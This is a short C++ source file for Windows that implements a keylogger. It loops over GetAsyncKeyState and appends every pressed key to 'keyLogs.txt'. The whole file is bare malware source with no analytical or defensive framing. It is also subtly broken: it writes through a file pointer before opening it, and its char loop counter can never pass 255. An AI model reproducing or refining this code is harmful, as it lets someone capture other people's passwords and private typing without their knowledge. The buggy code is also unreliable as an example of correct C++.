#include <iostream>
#include <windows.h>
#include <stdio.h>

int SaveKeysInput(int _key, char *file);

int main(){
    char i;

    while(true)
    {
        for(i = 8; i <=255; i++)
        {
            if(GetAsyncKeyState(i) == -32767)
            {
                SaveKeysInput(i, "keyLogs.txt");
            }
        }
    }
    return 0;
}

int SaveKeysInput(int _key, char *file)
{
    std::cout << _key << std::endl;

    FILE *OUTPUT_FILE;

    if(_key == VK_SHIFT)
    {
        fprintf(OUTPUT_FILE, "%s", "(SHIFT)");
    }
    else if(_key == VK_BACK)
    {
        fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
    }
     else if(_key == VK_LBUTTON)
    {
        fprintf(OUTPUT_FILE, "%s", "M1");
    }
     else if(_key == VK_RETURN)
    {
        fprintf(OUTPUT_FILE, "%s", "RETURN");
    }
      else if(_key == VK_ESCAPE)
    {
        fprintf(OUTPUT_FILE, "%s", "ESCAPE");
    }
    else
    {
        fprintf(OUTPUT_FILE, "%s", &_key);
        fclose(OUTPUT_FILE);
    }


    OUTPUT_FILE = fopen(file, "a+");
    fprintf(OUTPUT_FILE, "%s", &_key);
    fclose(OUTPUT_FILE);

    return 0;
}